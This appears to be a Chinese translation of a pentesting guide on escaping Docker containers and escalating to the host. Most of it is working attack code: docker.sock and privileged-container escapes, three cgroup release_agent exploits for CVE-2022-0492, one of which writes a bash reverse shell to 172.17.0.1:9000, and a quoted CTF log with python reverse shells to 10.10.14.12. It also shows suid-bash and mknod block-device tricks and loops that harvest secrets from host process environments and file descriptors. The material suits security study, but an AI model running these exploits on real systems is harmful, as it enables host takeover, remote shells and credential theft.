Docker Breakout / Privilege Escalation

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自动枚举和逃逸

  • linpeas：它还可以枚举容器

  • CDK：这个工具非常有用，可以枚举您所在的容器，甚至尝试自动逃逸

  • amicontained：有用的工具，用于获取容器的特权，以找到逃逸的方法

  • deepce：用于枚举和逃逸容器的工具

  • grype：获取镜像中安装的软件中包含的CVE

挂载的Docker套接字逃逸

如果您某种方式发现Docker套接字被挂载在Docker容器内部，您将能够从中逃逸。 这通常发生在需要连接到Docker守护程序执行操作的Docker容器中。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

在这种情况下，您可以使用常规的docker命令与docker守护程序进行通信：

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

如果 docker套接字 位于意外位置，您仍可以使用带有参数 -H unix:///path/to/docker.sock 的 docker 命令与其通信。

Docker守护程序也可能在端口上进行监听（默认为2375、2376），或者在基于Systemd的系统上，可以通过Systemd套接字 fd:// 与Docker守护程序通信。

此外，还要注意其他高级运行时的运行时套接字：

  • dockershim: unix:///var/run/dockershim.sock

  • containerd: unix:///run/containerd/containerd.sock

  • cri-o: unix:///var/run/crio/crio.sock

  • frakti: unix:///var/run/frakti.sock

  • rktlet: unix:///var/run/rktlet.sock

  • ...

能力滥用逃逸

您应该检查容器的能力，如果具有以下任何一种能力，则可能能够从中逃逸：CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_SYS_MODULE、DAC_READ_SEARCH、DAC_OVERRIDE, CAP_SYS_RAWIO、CAP_SYSLOG、CAP_NET_RAW、CAP_NET_ADMIN

您可以使用先前提到的自动工具或以下方式检查当前容器的能力：

capsh --print

从特权容器中逃逸

可以通过使用标志--privileged或禁用特定防御措施来创建特权容器：

  • --cap-add=ALL

  • --security-opt apparmor=unconfined

  • --security-opt seccomp=unconfined

  • --security-opt label:disable

  • --pid=host

  • --userns=host

  • --uts=host

  • --cgroupns=host

  • 挂载 /dev

--privileged标志显著降低了容器的安全性，提供了无限制的设备访问并绕过多项保护措施。有关详细信息，请参考有关--privileged完整影响的文档。

Docker --privileged

特权 + hostPID

拥有这些权限后，您可以轻松地进入以 root 用户身份在主机上运行的进程的命名空间，比如 init (pid:1)，只需运行：nsenter --target 1 --mount --uts --ipc --net --pid -- bash

在容器中执行以下测试：

docker run --rm -it --pid=host --privileged ubuntu bash

特权

仅使用特权标志，您可以尝试访问主机的磁盘或尝试滥用release_agent或其他逃逸来进行特权升级。

在容器中执行以下绕过测试：

docker run --rm -it --privileged ubuntu bash

挂载磁盘 - Poc1

良好配置的docker容器不会允许类似 fdisk -l 这样的命令。然而，在错误配置的docker命令中，如果指定了 --privileged 或 --device=/dev/sda1 并使用了权限，就有可能获得查看主机驱动器的权限。

因此，要接管主机机器是微不足道的：

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

挂载磁盘 - Poc2

在容器内部，攻击者可能会尝试通过集群创建的可写hostPath卷进一步访问基础主机操作系统。以下是您可以在容器内部检查的一些常见内容，以查看是否可以利用这种攻击向量：

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

利用现有的release_agent进行特权逃逸 (cve-2022-0492) - PoC1

初始 PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

利用创建的 release_agent 进行特权逃逸（cve-2022-0492）- PoC2

第二个 PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

在以下位置找到有关该技术的解释：

Docker release_agent cgroups escape

滥用 release_agent 实现特权逃逸，无需知道相对路径 - PoC3

在先前的利用中，容器在主机文件系统中的绝对路径被泄露。然而，并非总是如此。在你不知道容器在主机中的绝对路径的情况下，可以使用这种技术：

release_agent exploit - Relative Paths to PIDs
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

在一个特权容器中执行 PoC 应该会提供类似以下输出：

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

滥用敏感挂载进行特权逃逸

有几个文件可能被挂载，提供有关底层主机的信息。其中一些甚至可能指示主机在发生某些事件时要执行的内容（这将允许攻击者从容器中逃脱）。 滥用这些文件可能会导致：

但是，您可以在此页面中找到其他敏感文件进行检查：

Sensitive Mounts

任意挂载

在许多情况下，您会发现容器从主机挂载了一些卷。如果此卷配置不正确，您可能能够访问/修改敏感数据：读取机密信息，更改ssh authorized_keys...

docker run --rm -it -v /:/host ubuntu bash

使用2个shell和主机挂载进行权限提升

如果您以容器内的root身份访问具有来自主机挂载的某个文件夹的容器，并且已经以非特权用户的身份逃逸到主机并且对挂载的文件夹具有读取权限。 您可以在容器内挂载的文件夹中创建一个bash suid文件，并且从主机上执行以进行权限提升。

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

通过2个shell进行特权提升

如果您在容器内部具有root访问权限，并且已经以非特权用户的身份逃逸到主机，则可以滥用这两个shell来在主机内部提升权限，前提是您在容器内部具有MKNOD功能（默认情况下具有），如此文章中所述。 有了这样的功能，容器内的root用户被允许创建块设备文件。设备文件是用于访问底层硬件和内核模块的特殊文件。例如，/dev/sda块设备文件允许读取系统磁盘上的原始数据。

Docker通过强制执行阻止块设备读/写操作的cgroup策略来防止容器内的块设备被滥用。然而，如果在容器内部创建块设备，则可以通过**/proc/PID/root/目录从容器外部访问该块设备。此访问要求进程所有者在容器内外相同**。

来自此文章的利用示例：

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

如果您可以访问主机的进程，您将能够访问存储在这些进程中的许多敏感信息。运行测试实验室：

docker run --rm -it --pid=host ubuntu bash

例如，您可以使用类似 ps auxn 的命令列出进程，并在命令中搜索敏感细节。

然后，由于您可以访问主机中/proc/的每个进程，只需运行即可窃取它们的环境机密：

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

你也可以访问其他进程的文件描述符并读取它们打开的文件：

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

你也可以终止进程并造成拒绝服务。

如果你以某种方式拥有容器外进程的特权访问权限，你可以运行类似 nsenter --target <pid> --all 或 nsenter --target <pid> --mount --net --pid --cgroup 来以与该进程相同的 ns 限制（希望没有）运行一个 shell。

hostNetwork

docker run --rm -it --network=host ubuntu bash

如果一个容器配置了Docker 主机网络驱动器(--network=host)，那么该容器的网络堆栈与Docker主机不是隔离的（容器与主机共享网络命名空间），并且该容器不会被分配自己的IP地址。换句话说，容器将所有服务直接绑定到主机的IP。此外，容器可以拦截主机发送和接收的所有网络流量，使用共享接口tcpdump -i eth0。

例如，您可以使用这个方法嗅探甚至欺骗主机和元数据实例之间的流量。

就像以下示例中所示：

您还可以访问主机内部绑定到本地主机的网络服务，甚至访问节点的元数据权限（这可能与容器可以访问的权限不同）。

hostIPC

docker run --rm -it --ipc=host ubuntu bash

通过hostIPC=true，您可以访问主机的进程间通信（IPC）资源，例如在/dev/shm中的共享内存。这允许读取/写入同一IPC资源被其他主机或容器进程使用。使用ipcs进一步检查这些IPC机制。

  • 检查/dev/shm - 查看此共享内存位置中的任何文件：ls -la /dev/shm

  • 检查现有IPC设施 - 您可以使用/usr/bin/ipcs检查是否正在使用任何IPC设施。使用以下命令检查：ipcs -a

恢复权限

如果系统调用**unshare**没有被禁止，您可以通过运行以下命令恢复所有权限：

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

通过符号链接滥用用户命名空间

在https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/中解释的第二种技术表明，您可以滥用用户命名空间中的绑定挂载，以影响主机内的文件（在该特定情况下，删除文件）。

使用Trickest轻松构建和自动化工作流程，利用世界上最先进的社区工具。 立即获取访问权限：

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CVE

Runc漏洞利用（CVE-2019-5736）

如果您可以以root身份执行docker exec（可能使用sudo），您可以尝试通过滥用CVE-2019-5736（漏洞利用在此处）来提升特权。该技术基本上将从容器中的主机****覆盖 /bin/sh 二进制文件，因此任何执行docker exec的人都可能触发有效载荷。

相应地更改有效载荷，并使用go build main.go构建main.go。生成的二进制文件应放置在docker容器中以供执行。 执行时，一旦显示[+] Overwritten /bin/sh successfully，您需要从主机上执行以下操作：

docker exec -it <container-name> /bin/sh

这将触发main.go文件中存在的有效载荷。

更多信息：https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

容器可能存在其他CVE漏洞，您可以在https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list中找到列表。

Docker自定义逃逸

Docker逃逸表面

  • 命名空间： 该进程应通过命名空间与其他进程完全隔离，因此我们无法通过命名空间逃脱与其他进程的交互（默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的/proc进行通信）。

  • 根用户： 默认情况下，运行该进程的用户是根用户（但其权限受限）。

  • 权限： Docker保留以下权限：cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

  • 系统调用： 这些是根用户无法调用的系统调用（因为缺乏权限+Seccomp）。其他系统调用可用于尝试逃逸。

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf
0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

syscall_bf.c

// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host

  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

  • You should be able to execute the trigger from inside the host

  • You need to know where the containers files are located inside the host to indicate a script you write inside the host

  • Have enough capabilities and disabled protections to be able to abuse that functionality

  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

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